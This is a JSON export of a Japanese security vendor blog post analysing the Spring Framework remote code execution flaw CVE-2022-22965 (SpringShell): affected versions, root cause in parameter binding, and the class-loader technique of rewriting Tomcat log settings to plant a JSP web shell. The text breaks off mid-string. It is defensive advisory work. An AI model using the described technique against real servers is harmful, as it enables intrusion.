{"id":122501,"date":"2022-03-31T21:57:16","date_gmt":"2022-04-01T04:57:16","guid":{"rendered":"https:\/\/unit42.paloaltonetworks.com\/?p=122501"},"modified":"2022-04-22T23:13:10","modified_gmt":"2022-04-23T06:13:10","slug":"cve-2022-22965-springshell","status":"publish","type":"post","link":"https:\/\/origin-unit42.paloaltonetworks.com\/ja\/cve-2022-22965-springshell\/","title":{"rendered":"[2022-04-19 JST Windows\/Linux\u306b\u3088\u308b\u4fdd\u8b77\u30bb\u30af\u30b7\u30e7\u30f3\u3092\u66f4\u65b0] CVE-2022-22965: Spring Core\u306b\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u8106\u5f31\u6027(SpringShell)\u3001\u3059\u3067\u306b\u5b9f\u969b\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3082"},"content":{"rendered":"<h2><a id=\"post-122472-_4lt92rr5muov\"><\/a>\u6982\u8981<\/h2>\n<p>\u6700\u8fd1\u3001\u30a8\u30f3\u30bf\u30fc\u30d7\u30e9\u30a4\u30baJava\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3092\u69cb\u7bc9\u3059\u308b\u305f\u3081\u306e\u30aa\u30fc\u30d7\u30f3\u30bd\u30fc\u30b9\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u3067\u3042\u308bSpring Framework\u306b2\u3064\u306e\u8106\u5f31\u6027\u304c\u3042\u308b\u3053\u3068\u304c\u958b\u793a\u3055\u308c\u307e\u3057\u305f\u30022022\u5e743\u670829\u65e5\u3001<a href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2022-22963\">CVE-2022-22963<\/a>\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044\u308bSpring Cloud Expression Resource Access Vulnerability\u306f\u3001Spring Cloud Function 3.1.7 \u304a\u3088\u3073 3.2.3 \u306e\u30ea\u30ea\u30fc\u30b9\u3067<a href=\"https:\/\/spring.io\/blog\/2022\/03\/29\/cve-report-published-for-spring-cloud-function\">\u30d1\u30c3\u30c1<\/a>\u304c\u9069\u7528\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u305d\u306e2\u65e5\u5f8c\u306e2022\u5e743\u670831\u65e5\u3001Spring\u306f\u3001<a href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2022-22965\">CVE-2022-22965<\/a>\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044\u308b\u5225\u306e\u3088\u308a\u6df1\u523b\u306a\u8106\u5f31\u6027\u3092\u4fee\u6b63\u3059\u308b\u305f\u3081\u306b\u3001Spring Framework\u306e\u30d0\u30fc\u30b8\u30e7\u30f35.3.18\u30685.2.20\u3092<a href=\"https:\/\/spring.io\/blog\/2022\/03\/31\/spring-framework-rce-early-announcement\">\u30ea\u30ea\u30fc\u30b9<\/a>\u3057\u307e\u3057\u305f\u3002CVE-2022-22965 \u306f\u3001\u653b\u6483\u8005\u304c\u672a\u8a8d\u8a3c\u3067\u30ea\u30e2\u30fc\u30c8\u3067\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3067\u304d\u308b\u8106\u5f31\u6027(RCE)\u3067\u3001Unit 42 \u306f\u3001\u3053\u306e\u8106\u5f31\u6027\u304c\u3059\u3067\u306b\u5b9f\u969b\u306b\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u69d8\u5b50\u3092\u78ba\u8a8d\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u8106\u5f31\u6027\u3092\u60aa\u7528\u3055\u308c\u308b\u3068\u3001\u4fb5\u5bb3\u3055\u308c\u305f\u30b5\u30fc\u30d0\u30fc\u306bWeb\u30b7\u30a7\u30eb\u304c\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3055\u308c\u3001\u3055\u3089\u306b\u30b3\u30de\u30f3\u30c9\u3092\u5b9f\u884c\u3055\u308c\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n<p>Spring Framework\u306fWeb\u30b7\u30b9\u30c6\u30e0\u306e\u958b\u767a\u306b\u5e83\u304f\u5229\u7528\u3055\u308c\u3066\u304a\u308a\u3001\u8106\u5f31\u6027\u306e\u6df1\u523b\u5ea6\u304cCVSS\u30b9\u30b3\u30a29.8\u3068\u6975\u3081\u3066\u9ad8\u3044\u3053\u3068\u304b\u3089\u3001CVE-2022-22965\u306f\u60c5\u5831\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30b3\u30df\u30e5\u30cb\u30c6\u30a3\u3067\u300cSpringShell (Spring4Shell)\u300d\u306e\u540d\u3067\u547c\u3070\u308c\u308b\u3088\u3046\u306b\u306a\u308a\u307e\u3057\u305f\u3002\u672c\u8106\u5f31\u6027\u306e\u5f71\u97ff\u3092\u628a\u63e1\u3059\u308b\u305f\u3081\u3001\u79c1\u305f\u3061\u306f\u5165\u624b\u53ef\u80fd\u306a\u60c5\u5831\u3092\u3059\u3079\u3066\u5206\u6790\u3057\u3066\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u5185\u306e\u554f\u984c\u3068\u306a\u308b\u90e8\u5206\u3092\u7279\u5b9a\u3057\u307e\u3057\u305f\u3002<\/p>\n<p>4\u67088\u65e5\u306b\u672c\u7a3f\u3092\u66f4\u65b0\u3057\u3001\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9NGFW\u306e\u8105\u5a01\u9632\u5fa1\u30b7\u30b0\u30cd\u30c1\u30e3\u300cSpring Core Remote Code Execution Vulnerability\u300d\u306e\u30d2\u30c3\u30c8\u6570\u5206\u6790\u304b\u3089\u5224\u660e\u3057\u305fSpringShell\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u8a66\u884c\u306e\u7d71\u8a08\u3068\u3001Cortex XDR \u304c\u30c8\u30ea\u30ac\u30fc\u3057\u305f\u30a2\u30e9\u30fc\u30c8\u3092\u63b2\u8f09\u3057\u307e\u3057\u305f\u3002\u307e\u305f\u3001IoC\u306b\u95a2\u3059\u308b\u30bb\u30af\u30b7\u30e7\u30f3\u3082\u8ffd\u52a0\u3057\u307e\u3057\u305f\u3002<\/p>\n<p>\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306e\u304a\u5ba2\u69d8\u306f\u3001Cortex XDR Prevent\/Pro\u3001\u6b21\u4e16\u4ee3\u30d5\u30a1\u30a4\u30a2\u30a6\u30a9\u30fc\u30eb\u306e\u8105\u5a01\u9632\u5fa1\u30b5\u30d6\u30b9\u30af\u30ea\u30d7\u30b7\u30e7\u30f3\u3001Prisma Cloud Compute\u306a\u3069\u306e\u88fd\u54c1\u3068\u30b5\u30fc\u30d3\u30b9\u3092\u901a\u3058\u3001CVE-2022-22965\u304a\u3088\u3073CVE-2022-22963\u304b\u3089\u4fdd\u8b77\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<table style=\"width: 71.4064%;\">\n<tbody>\n<tr>\n<td style=\"width: 30.8244%;\"><span style=\"font-weight: 400;\">\u8106\u5f31\u6027\u306e\u540d\u79f0<\/span><\/td>\n<td style=\"width: 141.343%;\"><span style=\"font-weight: 400;\">SpringShell, Spring4Shell<\/span><\/td>\n<\/tr>\n<tr>\n<td style=\"width: 30.8244%;\"><span style=\"font-weight: 400;\">\u672c\u7a3f\u3067\u6271\u3046CVE<\/span><\/td>\n<td style=\"width: 141.343%;\"><span style=\"font-weight: 400;\">CVE-2022-22965, CVE-2022-22963, CVE-2010-1622<\/span><\/td>\n<\/tr>\n<tr>\n<td style=\"width: 30.8244%;\"><span style=\"font-weight: 400;\">\u8106\u5f31\u6027\u306e\u7a2e\u985e<\/span><\/td>\n<td style=\"width: 141.343%;\"><span style=\"font-weight: 400;\">Remote code execution<\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h2>\u76ee\u6b21<\/h2>\n<p><a href=\"#affected-software-and-versions\">\u5f71\u97ff\u3092\u53d7\u3051\u308b\u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u3068\u30d0\u30fc\u30b8\u30e7\u30f3<\/a><br \/>\n<a href=\"#background-on-the-spring-framework\">Spring Framework\u306e\u80cc\u666f<\/a><br \/>\n<a href=\"#root-cause-analysis-for-cve-2022-22965\">CVE-2022-22965\u306e\u6839\u672c\u539f\u56e0\u5206\u6790<\/a><br \/>\n<a href=\"#background-on-exploitation-of-the-class-loader\">\u30af\u30e9\u30b9\u30ed\u30fc\u30c0\u30fc\u60aa\u7528\u306e\u80cc\u666f<\/a><br \/>\n<a href=\"#establishing-a-reverse-shell\">\u4fb5\u5bb3\u3055\u308c\u305f\u30b5\u30fc\u30d0\u30fc\u4e0a\u3067\u306e\u30ea\u30e2\u30fc\u30c8\u30b5\u30fc\u30d0\u30fc\u3078\u306e\u30ea\u30d0\u30fc\u30b9\u30b7\u30a7\u30eb\u63a5\u7d9a\u78ba\u7acb<\/a><br \/>\n<a href=\"#springshell-exploit\">SpringShell\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8<\/a><br \/>\n<a href=\"#observed-in-the-wild\">\u5b9f\u969b\u306b\u89b3\u6e2c\u3055\u308c\u305f\u4e8b\u4f8b<\/a><br \/>\n<a href=\"#conclusion\">\u7d50\u8ad6<\/a><br \/>\n<a href=\"#additional-resources\">\u8ffd\u52a0\u30ea\u30bd\u30fc\u30b9<\/a><br \/>\n<a href=\"#indicators\">IoC<\/a><\/p>\n<h2><a id=\"affected-software-and-versions\"><\/a>\u5f71\u97ff\u3092\u53d7\u3051\u308b\u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u3068\u30d0\u30fc\u30b8\u30e7\u30f3<\/h2>\n<p>\u65e2\u5b58\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306e\u6982\u5ff5\u5b9f\u8a3c(PoC)\u306f\u3001\u4ee5\u4e0b\u306e\u6761\u4ef6\u3067\u52d5\u4f5c\u3057\u307e\u3059\u3002<\/p>\n<ul>\n<li>JDK 9\u4ee5\u4e0a<\/li>\n<li>Servlet\u30b3\u30f3\u30c6\u30ca\u3068\u3057\u3066\u306eApache Tomcat<\/li>\n<li>(Spring Boot\u306e\u5b9f\u884c\u53ef\u80fdjar\u3068\u306f\u7570\u306a\u308b)\u5f93\u6765\u306eWAR\u3068\u3057\u3066\u306e\u30d1\u30c3\u30b1\u30fc\u30b8\u5316<\/li>\n<li>spring-webmvc \u307e\u305f\u306f spring-webflux \u3068\u306e\u4f9d\u5b58\u95a2\u4fc2<\/li>\n<li>Spring Framework \u30d0\u30fc\u30b8\u30e7\u30f3 5.3.0 \u304b\u3089 5.3.17, 5.2.0 \u304b\u3089 5.2.19, \u304a\u3088\u3073\u305d\u308c\u4ee5\u524d\u306e\u30d0\u30fc\u30b8\u30e7\u30f3<\/li>\n<\/ul>\n<p>Spring Beans \u30d1\u30c3\u30b1\u30fc\u30b8<span style=\"font-family: 'courier new', courier, monospace;\">(spring-beans-*.jar<\/span>) \u3068 Spring \u30d1\u30e9\u30e1\u30fc\u30bf\u30d0\u30a4\u30f3\u30c7\u30a3\u30f3\u30b0\u3092\u4f7f\u7528\u3057\u3066\u3044\u308b Java \u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306f\u3053\u306e\u8106\u5f31\u6027\u306b\u3088\u308b\u5f71\u97ff\u3092\u53d7\u3051\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n<h2><a id=\"background-on-the-spring-framework\"><\/a>Spring Framework\u306e\u80cc\u666f<\/h2>\n<p>Spring Framework\u306f\u30aa\u30fc\u30d7\u30f3\u30bd\u30fc\u30b9\u306e\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u3067\u3001Java\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0\u7528\u306eIoC(Inversion of control\u3001\u5236\u5fa1\u306e\u53cd\u8ee2)\u30b3\u30f3\u30c6\u30ca\u3067\u3059\u3002\u305d\u306e\u5f37\u529b\u306a\u6a5f\u80fd\u3068\u4f7f\u3044\u3084\u3059\u3055\u304b\u3089\u3001\u3055\u307e\u3056\u307e\u306a\u30d7\u30ed\u30b0\u30e9\u30e0\u3084\u30b7\u30b9\u30c6\u30e0\u3067\u5e83\u304f\u5229\u7528\u3055\u308c\u3066\u3044\u307e\u3059\u3002Spring Boot\u3084Spring Cloud\u306a\u3069\u4e00\u90e8\u306e\u8457\u540d\u88fd\u54c1\u3082Spring Framework\u3067\u958b\u767a\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>Spring Core (spring-core)\u306f\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306e\u4e2d\u6838\u3068\u306a\u308b\u3082\u306e\u3067\u3001IoC\u3084DI (Dependency Injection: \u4f9d\u5b58\u6027\u6ce8\u5165)\u306a\u3069\u306e\u5f37\u529b\u306a\u6a5f\u80fd\u3092\u63d0\u4f9b\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u306b\u306fcore\u3001beans\u3001context\u3001Spring Expression Language (SpEL) \u30e2\u30b8\u30e5\u30fc\u30eb\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<h2><a id=\"root-cause-analysis-for-cve-2022-22965\"><\/a>CVE-2022-22965\u306e\u6839\u672c\u539f\u56e0\u5206\u6790<\/h2>\n<p>\u3053\u306e\u8106\u5f31\u6027\u306f\u3001Spring Framework\u306e<span style=\"font-family: 'courier new', courier, monospace;\">getCachedIntrospectionResults<\/span>\u30e1\u30bd\u30c3\u30c9\u304c\u30d1\u30e9\u30e1\u30fc\u30bf\u3092\u30d0\u30a4\u30f3\u30c9\u3059\u308b\u3055\u3044\u3001\u8aa4\u3063\u3066\u30af\u30e9\u30b9\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3092\u516c\u958b\u3057\u3066\u3057\u307e\u3046\u3053\u3068\u306b\u8d77\u56e0\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>Spring\u306e\u30c7\u30d5\u30a9\u30eb\u30c8\u306e\u30c7\u30fc\u30bf\u30d0\u30a4\u30f3\u30c7\u30a3\u30f3\u30b0\u6a5f\u69cb\u3067\u306f\u3001\u958b\u767a\u8005\u304cHTTP\u30ea\u30af\u30a8\u30b9\u30c8\u306e\u8a73\u7d30\u3092\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u56fa\u6709\u306e\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u306b\u30d0\u30a4\u30f3\u30c9\u3067\u304d\u307e\u3059\u3002\u30b7\u30f3\u30d7\u30eb\u3067\u53e4\u5178\u7684\u306a\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u30b7\u30ca\u30ea\u30aa\u4f8b\u3067\u3001\u958b\u767a\u8005\u304c\u30ea\u30af\u30a8\u30b9\u30c8\u30d1\u30e9\u30e1\u30fc\u30bf\u3092\u53d6\u5f97\u3059\u308b\u305f\u3081\u306bTrade\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3092\u4f5c\u6210\u3059\u308b\u5834\u5408\u3092\u8003\u3048\u3066\u307f\u307e\u3059(\u56f31\u53c2\u7167)\u3002<\/p>\n<figure id=\"attachment_122475\" aria-describedby=\"caption-attachment-122475\" style=\"width: 617px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-122476 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/03\/word-image-52.png\" alt=\"\u30b7\u30f3\u30d7\u30eb\u3067\u53e4\u5178\u7684\u306a\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u30b7\u30ca\u30ea\u30aa\u4f8b\u3067\u3001\u958b\u767a\u8005\u304c\u30ea\u30af\u30a8\u30b9\u30c8\u30d1\u30e9\u30e1\u30fc\u30bf\u3092\u53d6\u5f97\u3059\u308b\u305f\u3081\u306bTrade\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3092\u4f5c\u6210\u3059\u308b\u5834\u5408\u3092\u8003\u3048\u3066\u307f\u307e\u3059(\u3053\u306e\u56f3)\u3002\" width=\"617\" height=\"360\" \/><figcaption id=\"caption-attachment-122475\" class=\"wp-caption-text\">\u56f31. Trade\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u306e\u4f8b<\/figcaption><\/figure>\n<p>\u3053\u306e\u5f8c\u3001\u958b\u767a\u8005\u306f\u30b3\u30f3\u30c8\u30ed\u30fc\u30e9\u3092\u4f5c\u6210\u3057\u3066trade\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3092\u4f7f\u7528\u3057\u307e\u3059(\u56f32\u53c2\u7167)\u3002<\/p>\n<figure id=\"attachment_122477\" aria-describedby=\"caption-attachment-122477\" style=\"width: 613px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-122478 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/03\/word-image-53.png\" alt=\"\u958b\u767a\u8005\u306f\u30b3\u30f3\u30c8\u30ed\u30fc\u30e9\u3092\u4f5c\u6210\u3057\u3066trade\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3092\u4f7f\u7528\u3057\u307e\u3059(\u3053\u306e\u56f3)\u3002\" width=\"613\" height=\"354\" \/><figcaption id=\"caption-attachment-122477\" class=\"wp-caption-text\">\u56f32 trade\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3092\u4f7f\u7528\u3059\u308b\u30b3\u30f3\u30c8\u30ed\u30fc\u30e9\u306e\u4f8b<\/figcaption><\/figure>\n<p>\u305d\u306e\u5f8c\u3001\u958b\u767a\u8005\u306f\u901a\u5e38\u3001trade\u30b3\u30f3\u30c8\u30ed\u30fc\u30e9\u7528\u306e\u30ea\u30af\u30a8\u30b9\u30c8\u306e\u30d3\u30eb\u30c0\u30fc\u3092\u4f5c\u6210\u3057\u3001Web\u30e6\u30fc\u30b6\u30fc\u304c\u30ea\u30e2\u30fc\u30c8\u304b\u3089trade\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u306b\u30a2\u30af\u30bb\u30b9\u3067\u304d\u308b\u3088\u3046\u306b\u3057\u307e\u3059(\u56f33\u53c2\u7167)\u3002<\/p>\n<figure id=\"attachment_122479\" aria-describedby=\"caption-attachment-122479\" style=\"width: 742px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-122480 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/03\/word-image-54.png\" alt=\"\u305d\u306e\u5f8c\u3001\u958b\u767a\u8005\u306f\u901a\u5e38\u3001trade\u30b3\u30f3\u30c8\u30ed\u30fc\u30e9\u7528\u306e\u30ea\u30af\u30a8\u30b9\u30c8\u306e\u30d3\u30eb\u30c0\u30fc\u3092\u4f5c\u6210\u3057\u3001Web\u30e6\u30fc\u30b6\u30fc\u304c\u30ea\u30e2\u30fc\u30c8\u304b\u3089trade\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u306b\u30a2\u30af\u30bb\u30b9\u3067\u304d\u308b\u3088\u3046\u306b\u3057\u307e\u3059(\u3053\u306e\u56f3)\u3002\" width=\"742\" height=\"48\" \/><figcaption id=\"caption-attachment-122479\" class=\"wp-caption-text\">\u56f33 \u901a\u5e38\u306e\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u306b\u30a2\u30af\u30bb\u30b9\u3059\u308b<\/figcaption><\/figure>\n<p>Web\u30e6\u30fc\u30b6\u30fc\u304ctrade\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u306e\u30d7\u30ed\u30d1\u30c6\u30a3\u306b\u30a2\u30af\u30bb\u30b9\u3059\u308b\u3068\u3001Spring Framework\u5b9f\u88c5\u306e\u30d0\u30a4\u30f3\u30c7\u30a3\u30f3\u30b0\u51e6\u7406<span style=\"font-family: 'courier new', courier, monospace;\">(bindRequestParameters)<\/span>\u306f<span style=\"font-family: 'courier new', courier, monospace;\">getCachedIntrospectionResults<\/span>\u30e1\u30bd\u30c3\u30c9\u3092\u547c\u3073\u51fa\u3057\u3001\u30ad\u30e3\u30c3\u30b7\u30e5\u5185\u306e\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u30d7\u30ed\u30d1\u30c6\u30a3\u306e\u53d6\u5f97(get)\u3068\u8a2d\u5b9a(set)\u3092\u884c\u3044\u307e\u3059\u3002\u305f\u3060\u3057<span style=\"font-family: 'courier new', courier, monospace;\">getCachedIntrospectionResults<\/span>\u30e1\u30bd\u30c3\u30c9\u306e\u623b\u308a\u5024\u306e\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u306b\u306f\u3001\u30af\u30e9\u30b9\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002\u3064\u307e\u308a\u3001Web\u30e6\u30fc\u30b6\u30fc\u306fURL\u3092\u9001\u4fe1\u3059\u308b\u3060\u3051\u3067\u30ea\u30e2\u30fc\u30c8\u304b\u3089\u30af\u30e9\u30b9\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3092\u53d6\u5f97\u3067\u304d\u307e\u3059(\u56f34\u53c2\u7167)\u3002<\/p>\n<figure id=\"attachment_122481\" aria-describedby=\"caption-attachment-122481\" style=\"width: 192px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-122482 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/03\/word-image-55.png\" alt=\"\u305f\u3060\u3057getCachedIntrospectionResults\u30e1\u30bd\u30c3\u30c9\u306e\u623b\u308a\u5024\u306e\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u306b\u306f\u3001\u30af\u30e9\u30b9\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002\u3064\u307e\u308a\u3001Web\u30e6\u30fc\u30b6\u30fc\u306fURL\u3092\u9001\u4fe1\u3059\u308b\u3060\u3051\u3067\u30ea\u30e2\u30fc\u30c8\u304b\u3089\u30af\u30e9\u30b9\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3092\u53d6\u5f97\u3067\u304d\u307e\u3059(\u3053\u306e\u56f3)\u3002\" width=\"192\" height=\"44\" \/><figcaption id=\"caption-attachment-122481\" class=\"wp-caption-text\">\u56f34 \u30af\u30e9\u30b9\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u306b\u30a2\u30af\u30bb\u30b9\u3059\u308b<\/figcaption><\/figure>\n<p>\u30af\u30e9\u30b9\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3092Web\u30e6\u30fc\u30b6\u30fc\u306b\u516c\u958b\u3059\u308b\u3053\u3068\u306f\u975e\u5e38\u306b\u5371\u967a\u3067\u3001\u3055\u307e\u3056\u307e\u306a\u65b9\u6cd5\u3067RCE\u306b\u3064\u306a\u304c\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\u30af\u30e9\u30b9\u30ed\u30fc\u30c0\u30fc\u306f\u3001\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u60aa\u7528\u3057\u3001\u6a5f\u5fae\u306a\u30af\u30e9\u30b9\u3092\u52d5\u7684\u306b\u30ed\u30fc\u30c9\u3057\u3001\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u306e\u6539\u3056\u3093\u3084\u30b3\u30fc\u30c9\u306e\u5b9f\u884c\u3092\u884c\u3046\u305f\u3081\u306b\u3088\u304f\u5229\u7528\u3055\u308c\u307e\u3059\u3002<\/p>\n<h3><a id=\"background-on-exploitation-of-the-class-loader\"><\/a>\u30af\u30e9\u30b9\u30ed\u30fc\u30c0\u30fc\u60aa\u7528\u306e\u80cc\u666f<\/h3>\n<p>\u30ea\u30e2\u30fc\u30c9\u30b3\u30fc\u30c9\u5b9f\u884c(RCE)\u306e\u7c21\u5358\u306a\u65b9\u6cd5\u3068\u3057\u3066\u3001\u516c\u958b\u3055\u308c\u305f\u30af\u30e9\u30b9\u30ed\u30fc\u30c0\u30fc\u3092\u4f7f\u3063\u3066Tomcat\u306e\u30ed\u30b0\u8a2d\u5b9a\u3092\u5909\u66f4\u5f8c\u3001JSP\u306eWeb\u30b7\u30a7\u30eb\u3092\u30ea\u30e2\u30fc\u30c8\u304b\u3089\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3059\u308b\u65b9\u6cd5\u304c\u3042\u308a\u307e\u3059\u3002URL\u3092\u9001\u4fe1\u3059\u308b\u3060\u3051\u3067Tomcat\u306e\u30ed\u30b0\u8a2d\u5b9a\u3092\u5909\u66f4\u3059\u308b\u4f8b\u3092\u56f35\u306b\u793a\u3057\u307e\u3059\u3002\u3053\u308c\u306fSpringShell\u8106\u5f31\u6027\u306e\u516c\u958bPoC\u3067\u4f7f\u7528\u3055\u308c\u3066\u3044\u308b\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u65b9\u6cd5\u3067\u3059\u3002<\/p>\n<figure id=\"attachment_122483\" aria-describedby=\"caption-attachment-122483\" style=\"width: 1286px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-122484 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/03\/word-image-56.png\" alt=\"URL\u3092\u9001\u4fe1\u3059\u308b\u3060\u3051\u3067Tomcat\u306e\u30ed\u30b0\u8a2d\u5b9a\u3092\u5909\u66f4\u3059\u308b\u4f8b\u3092\u3053\u306e\u56f3\u306b\u793a\u3057\u307e\u3059\u3002\" width=\"1286\" height=\"50\" \/><figcaption id=\"caption-attachment-122483\" class=\"wp-caption-text\">\u56f35 Tomcat\u306e\u30ed\u30b0\u8a2d\u5b9a\u3092\u5909\u66f4<\/figcaption><\/figure>\n<p>2010\u5e74\u521d\u982d\u3001Spring Framework\u306b\u304a\u3051\u308b\u3042\u308b\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u306e\u8106\u5f31\u6027\u306b<a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2010-1622\">CVE-2010-1622\u304c<\/a>\u5272\u308a\u5f53\u3066\u3089\u308c\u307e\u3057\u305f\u3002\u3053\u306e\u8106\u5f31\u6027\u306f\u3001<span style=\"font-family: 'courier new', courier, monospace;\">CachedIntrospectionResults()<\/span>\u3067\u63d0\u4f9b\u3055\u308c\u3066\u3044\u308b<span style=\"font-family: 'courier new', courier, monospace;\">PropertyDescriptor<\/span>\u304c\u9069\u5207\u306b\u30c1\u30a7\u30c3\u30af\u3055\u308c\u3066\u3044\u306a\u304b\u3063\u305f\u305f\u3081\u306b\u3001\u30b7\u30b9\u30c6\u30e0\u306e\u30af\u30e9\u30b9\u30ed\u30fc\u30c0\u30fc\u306e\u691c\u7d22\u30d1\u30b9\u5909\u66f4\u306b<span style=\"font-family: 'courier new', courier, monospace;\">class.classLoader<\/span>\u304c\u5229\u7528\u3055\u308c\u3001\u30d7\u30ed\u30b0\u30e9\u30e0\u304c\u30ea\u30e2\u30fc\u30c8\u306eJava\u30b3\u30fc\u30c9\u547c\u3073\u51fa\u3057\u3092\u8a31\u3057\u3066\u3057\u307e\u3046\u3001\u3068\u3044\u3046\u3082\u306e\u3067\u3057\u305f\u3002\u3053\u306e\u8106\u5f31\u6027\u3067\u306f\u3001\u30af\u30e9\u30b9\u30ed\u30fc\u30c0\u30fc\u304c\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u4e0a\u91cd\u8981\u306a\u5f79\u5272\u3092\u62c5\u3063\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u3053\u306e\u8106\u5f31\u6027\u306fSpring Framework\u30d0\u30fc\u30b8\u30e7\u30f32.5.6.SEC02\u3067\u4fee\u6b63\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u30af\u30e9\u30b9\u30ed\u30fc\u30c0\u30fc\u3092\u53d6\u5f97\u3057\u3066\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306b\u4f7f\u3046\u5143\u306e\u3084\u308a\u65b9\u306f\u3059\u3067\u306b\u4f7f\u3048\u306a\u304f\u306a\u3063\u3066\u3044\u307e\u3059\u304c\u3001JDK\u30d0\u30fc\u30b8\u30e7\u30f39\u3067\u5c0e\u5165\u3055\u308c\u305f\u65b0\u3057\u3044\u6a5f\u80fd\u306b\u3088\u308a\u3001\u30af\u30e9\u30b9\u30ed\u30fc\u30c0\u30fc\u3092\u5225\u306e\u65b9\u6cd5\u3067\u53d6\u5f97\u53ef\u80fd\u3068\u306a\u3063\u305f\u305f\u3081\u3001\u3075\u305f\u305f\u3073\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u304c\u53ef\u80fd\u306b\u306a\u308a\u307e\u3057\u305f\u3002<\/p>\n<p>\u56f36\u306b\u793a\u3059\u30b3\u30fc\u30c9\u30b9\u30cb\u30da\u30c3\u30c8\u306f\u3001CVE-2010-1622\u306b\u5bfe\u3059\u308b\u4fee\u6b63\u5185\u5bb9\u3067\u3059\u3002\u3053\u3053\u3067\u306e\u4fee\u6b63\u306f\u3001\u30d6\u30ed\u30c3\u30af\u30ea\u30b9\u30c8\u3092\u4f7f\u3063\u30662\u3064\u306e\u30e